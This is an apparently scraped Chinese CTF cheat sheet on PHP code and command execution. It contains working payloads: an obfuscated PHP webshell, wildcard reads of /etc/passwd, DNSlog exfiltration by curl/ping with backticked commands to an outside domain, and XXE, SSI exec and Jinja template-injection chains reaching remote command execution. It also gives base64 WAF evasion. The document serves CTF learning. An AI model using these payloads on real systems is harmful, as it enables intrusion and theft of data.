1. 程式人生 > >程式碼執行總結--2018自我整理

程式碼執行總結--2018自我整理

0x00前言

命令執行往往在實際中的危害十分的巨大,而在ctf中命令執行會比較顯眼但是限制就比較多

 

0x01程式碼執行函式

eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(), array_map()

這些函式會將引數當做php程式碼或者php函式和引數進行執行

常見的

eval("system('ls');");

assert('phpinfo()');

call_user_func('assert','phpinfo()');

call_user_func_array('assert',array('phpinfo()'));

array_map('assert',array('phpinfo()'));

 

0x02命令執行函式

可以呼叫系統命令的函式有system()、exec()、shell_exec()(反引號(`)括住字串效果一樣)、passthru()、pcntl_exec()、popen()、proc_open()

防禦函式即在變數進入命令執行函式前將變數進行處理,會使無法執行多個語句,或者傳入的變數只能被當做引數,而不能當成命令

escapeshellcmd():
  將特定的字元#&;`|*?~<>^()[]{}$, x0A 和 xFF。 ‘ 和 “ 僅在不配對兒的時候被轉義,加上^轉義
escapshellarg():
  將內容用""包裹著,比如: escapshellarg("ls") => "ls"

程式碼執行和命令執行的區別在於,程式碼執行是可以任意控制php語句,而命令執行時可以控制計算機的命令,常常在ctf題也有將命令執行函式禁止防止選手惡意破壞環境

 

0x03命令執行的特殊情況

如果現在了某些字母,或者達到無法完整的打出命令可以使用萬用字元

用萬用字元來匹配相應的命令,來繞過waf,比如

/bin/cat /etc/passwd => /???/??t /e??/??ss??

也可用用異或運來來達到構造字串

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //
$_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);

這裡有篇關於php5和php7程式碼執行的繞過waf文章

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

 

ip地址格式xx.xx.xx.xx轉換為10進位制數,在某些特定環境下也是可以當IP地址用的

比如 127.0.0.1 => (127 * 256 ^ 3) + (0 * 256 ^ 2) + (0 * 256) + (1) => 2130706433

 

利用DNSlog回顯,首先該環境為我們能夠執行命令,但是沒有回顯。

這個時候藉助http://ceye.io/records/dns 這個網站。

對方機器為linux用:

curl http://xxx.xxx.io/`pwd`
ping `pwd`.xxx.xxx.io

windows用:

ping %USERNAME%.xxxx.xxxx.io

xxx.xxx.io即為賬號所分配的DNS

注意點:

執行命令用`包含起來,但是輸出的內容必須是一個連續的字串(不包含空格),如果有換行就只會出最後一行。去掉空格的方法:

帶空格的輸出|sed s/[[:space:]]//g
帶空格和換行的輸出|base64

 

0x04一些能夠執行命令的漏洞利用方式

XXE:

XXE漏洞是利用向伺服器傳送xml的內容,進行的攻擊常見payload:

<?xml version="1.0"  ?>
<!DOCTYPE aaa [<!ENTITY bbb SYSTEM "路徑" >]>
<root>
<ccc>&bbb;</ccc>
<root>

<root>根節點是要加的,注意頭部需要存在

Content-Type: application/xml

那麼傳送json的時候,也可能存在這個問題,假設將

Content-Type: application/json    ==修改==>     Content-Type: application/xml

然後將json資料修改成xml結構,一樣能夠利用。

 

SSI(Server Side Includes)注入

SSI的存在是為了方便程式設計師除錯程式,使用方式為,前提是開了這個功能

<!--#include virtual="/www/footer.html" --><!--#echo var="DATE_LOCAL"--><!--#exec cmd="cat /etc/passwd"--><!--#exec cgi="/cgi-bin/access_log.cgi"-->

 

python的模板注入

在ctf中如果遇到python題,有一定機率就是模板注入

模板注入的問題是可以用 {{1 + 1}} 來檢查結果為2,那麼會執行python程式碼

遠端程式碼執行步驟,假如沒有waf的情況下

step1:
    {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/hack.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
    
step2:
    {{ config.from_pyfile('/tmp/hack.cfg') }}
    
step3:
    {{ config['RUNCMD']('執行的命令',shell=True) }}

這裡解釋下

step1:

' '空字串

' '.__class__ 這個會返回空字串的型別

' '.__class__.__mro__會返回空字串的型別的父類(是個陣列,我們要其中的object型別)

' '.__class__.__mro__[2].__subclasses__會返回所有的型別

' '.__class__.__mro__[2].__subclasses__[40]拿到能操作檔案的型別函式

' '.__class__.__mro__[2].__subclasses__[40]('/tmp/hack.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') 在/tmp/目錄下建立hack.cfg, 然後寫入python程式碼而變數RUNCMD就是之後的程式碼執行變數

step2:

把上面建立的hack.cfg插入當前python頁面的程式碼中

step3:

實現遠端程式碼執行

 

命令被waf

命令被waf可以採取將命令寫入.sh檔案中,而且使用base64編碼來繞過waf

#寫檔案    
echo bHM=|base64 -d > /tmp/test.sh    #'bHM=' base64解碼為'ls'
#給檔案許可權 
chmod 777 /tmp/test.sh
#執行檔案
/tmp/test.sh